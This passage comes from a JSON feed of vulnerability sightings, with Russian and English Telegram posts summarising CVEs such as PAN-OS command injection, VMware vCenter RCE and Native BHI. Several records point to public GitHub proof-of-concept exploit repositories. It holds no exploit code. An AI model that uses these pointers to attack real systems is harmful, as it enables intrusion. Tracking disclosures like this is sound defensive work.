\u0431\u044b\u043b\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f append_bat_arg() \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u044b\u0445 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432.\n\n\ud83d\udc1bCVE-2024-31461, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 Plane \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e v0.17-dev , \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a Server-side Request Forgery. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c. \u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f is_allowed_hostname \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438 \u0441 \"\u0431\u0435\u043b\u044b\u043c\" \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439.\n\n\ud83d\udc1bCVE-2024-3098, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 llama-index \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 0.10.24, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a Remote Code Execution. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0439 \u0441 \u043f\u043e\u0434\u043a\u043b\u0430\u0441\u0441\u043e\u043c str. \u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u044b\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d \u0441\u043f\u0438\u0441\u043e\u043a ALLOWED_BUILTINS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u0441\u0435\u0431\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0435 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u043d\u0435\u0433\u043e.\n\n\ud83d\udc1bCVE-2024-3400, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 \u0444\u0430\u0439\u0440\u0432\u043e\u043b\u043b\u0430\u0445 Palo Alto \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 PAN-OS 10.2, 11.0 \u0438 11.1, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a OS Command Injection. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 root \u043d\u0430 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0435. \u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043e \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c security advisory. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u043e\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 Unit42 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-3400 \u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.", "creation_timestamp": "2026-07-26T07:01:48.097306Z"}, {"uuid": "fa13821b-43af-4a1d-8f6f-ed0b25e52b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/423", "content": "https://github.com/W01fh4cker/CVE-2024-22120-RCE", "creation_timestamp": "2026-07-27T00:00:20.426010Z"}, {"uuid": "80e81245-44fe-4e37-8a52-ad6b4537fc73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22275", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/466", "content": "\ud83d\udcbb  VMware vCenter Server \u2014 Remote Code Execution (CVE-2024-22274)\n\nThe vCenter Server contains an authenticated remote code execution vulnerability. A malicious actor with administrative privileges on the vCenter appliance shell may exploit this issue to run arbitrary commands on the underlying operating system as the \"root\" user.\n\n\ud83d\udd17 Source: \nhttps://github.com/mbadanoiu/CVE-2024-22275\n\n#vmware #vcenter #rce #cve", "creation_timestamp": "2026-07-27T00:00:21.810251Z"}, {"uuid": "1b399b7f-ff99-4e67-a1ee-5a44af38c453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/466", "content": "\ud83d\udcbb  VMware vCenter Server \u2014 Remote Code Execution (CVE-2024-22274)\n\nThe vCenter Server contains an authenticated remote code execution vulnerability. A malicious actor with administrative privileges on the vCenter appliance shell may exploit this issue to run arbitrary commands on the underlying operating system as the \"root\" user.\n\n\ud83d\udd17 Source: \nhttps://github.com/mbadanoiu/CVE-2024-22275\n\n#vmware #vcenter #rce #cve", "creation_timestamp": "2026-07-27T00:00:21.857591Z"}, {"uuid": "8f3d3baa-22cc-488b-81e5-76788286054d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22403", "type": "seen", "source": "https://t.me/cyberwarehouse/476", "content": "\u0418\u044e\u043b\u044c\u0441\u043a\u0438\u0439 Linux Patch Wednesday. \u0412\u0441\u0435\u0433\u043e 705 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438\u0437 \u043d\u0438\u0445 498 \u0432 Linux Kernel. \u0421 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u0436\u0438\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442, \u0443 11 \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043a \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430:\n\n\ud83d\udd3b \u0412 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e\u043c \u0442\u043e\u043f\u0435 RCE\u00a0- OpenSSH \"regreSSHion\" (CVE-2024-6387) \u0441\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u043d\u0430 GitHub. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043d\u044b\u0435 \u0444\u0435\u0439\u043a\u0438 (\u2757\ufe0f). \u0417\u0434\u0435\u0441\u044c \u0436\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443 \u043f\u043e\u0445\u043e\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c RCE - OpenSSH (CVE-2024-6409), \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\ud83d\udd3b \u0412 \u043f\u0430\u0431\u043b\u0438\u043a\u0435 \u0435\u0441\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 PoC-\u0438 \u0434\u043b\u044f DoS \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Suricata (CVE-2024-38536) \u0438 QEMU (CVE-2024-3567).\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0411\u0414\u0423, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0434\u043b\u044f:\n\n\ud83d\udd38 AuthBypass - RADIUS Protocol (CVE-2024-3596), \u0435\u0451 \u0444\u0438\u043a\u0441\u0438\u043b\u0438 \u0438 \u0432 \u0438\u044e\u043b\u044c\u0441\u043a\u043e\u043c MSPT\n\ud83d\udd38 Security Feature Bypass - Exim (CVE-2024-39929) - \u043e\u0431\u0445\u043e\u0434 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043e\u043a \u043f\u043e mime_filename, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 Nextcloud (CVE-2024-22403) - \u0432\u0435\u0447\u043d\u044b\u0435 OAuth \u043a\u043e\u0434\u044b\n\ud83d\udd38 DoS - OpenTelemetry (CVE-2023-45142)\n\ud83d\udd38 Memory Corruption - 7-Zip (CVE-2023-52168)\n\n\ud83d\uddd2 \u041e\u0442\u0447\u0451\u0442 Vulristics \u043f\u043e \u0438\u044e\u043b\u044c\u0441\u043a\u043e\u043c\u0443 Linux Patch Wednesday\n\n@avleonovrus #LinuxPatchWednesday #Vulristics #Linux #regreSSHion", "creation_timestamp": "2026-07-27T00:00:22.199390Z"}, {"uuid": "0439612b-d0a0-4569-bdeb-b629d483d3eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2201", "type": "seen", "source": "https://t.me/EchelonEyes/2644", "content": "\u041f\u0435\u0440\u0432\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 Native Spectre v2 \u043f\u0440\u043e\u0442\u0438\u0432 \u044f\u0434\u0440\u0430 Linux\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 \u0410\u043c\u0441\u0442\u0435\u0440\u0434\u0430\u043c\u0441\u043a\u043e\u0433\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u0442\u0438\u043f \u0430\u0442\u0430\u043a\u0438 \u2013 Native Branch History Injection (BHI) \u043f\u0440\u043e\u0442\u0438\u0432 \u044f\u0434\u0440\u0430 Linux \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Intel. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430 \u0441\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e 3,5 \u041a\u0411/\u0441 \u0432 \u043e\u0431\u0445\u043e\u0434 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b Spectre v2/BHI. \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-2201.\n\nBHI \u0431\u044b\u043b \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442 VUSec \u0432 \u043c\u0430\u0440\u0442\u0435 2022 \u0433\u043e\u0434\u0430, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044f \u0435\u0433\u043e \u043a\u0430\u043a \u043c\u0435\u0442\u043e\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 Spectre v2 \u0432 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 Intel, AMD \u0438 Arm.\n\n\u0425\u043e\u0442\u044f \u0432 \u0430\u0442\u0430\u043a\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u044b \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0411\u0435\u0440\u043a\u043b\u0438 (eBPF), \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 Intel \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0441\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0447\u0435\u0433\u043e, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0438\u0441\u044c \u0432 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 eBPF Linux. \n\nNative BHI \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u044d\u0442\u0443 \u043a\u043e\u043d\u0442\u0440\u043c\u0435\u0440\u0443, \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044f, \u0447\u0442\u043e BHI \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0431\u0435\u0437 eBPF. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Intel, \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a BHI.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0426\u041f, \u043c\u043e\u0436\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435, \u0441 \u0446\u0435\u043b\u044c\u044e \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c.\n\n\u042d\u0442\u043e \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c InSpectre Gadget, \u0443\u043c\u0435\u044e\u0449\u0435\u0439 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0432 \u044f\u0434\u0440\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043c\u043e\u0436\u043d\u043e \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0442\u0435\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0432 \u043c\u0438\u043a\u0440\u043e\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u044b Intel \u043c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, FineIBT) \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0413\u0430\u0434\u0436\u0435\u0442\u044b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u0434\u0430, \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0435\u0440\u0435\u0434\u0430\u0441\u0442 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0436\u0435\u0440\u0442\u0432\u044b \u0432 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u0430\u043d\u0430\u043b.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0434\u043b\u044f \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430, \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e \u043f\u0435\u0440\u0435\u0439\u0434\u044f \u043a \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u043c\u0443 \u0433\u0430\u0434\u0436\u0435\u0442\u0443\u00bb.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Illumos, Intel, Red Hat, SUSE Linux, Triton Data Center \u0438 Xen. AMD \u0432 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u00ab\u043d\u0435 \u0437\u043d\u0430\u0435\u0442 \u043e \u043a\u0430\u043a\u043e\u043c-\u043b\u0438\u0431\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u0438\u00bb \u043d\u0430 \u0441\u0432\u043e\u044e \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044e.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vusec.net/projects/native-bhi/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-27T00:00:48.489596Z"}, {"uuid": "aa9510c4-396e-42c4-a328-e893981a64ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22423", "type": "seen", "source": "https://t.me/zhatez/1070", "content": "\ud83d\udd0d \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\ud83d\udc1bCVE-2024-22423, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 yt-dlp \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 2024.04.09, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a OS Command Injection. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432. \u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f shell_quote(), \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u043c\u044b\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.\n\n\ud83d\udc1bCVE-2024-24576, 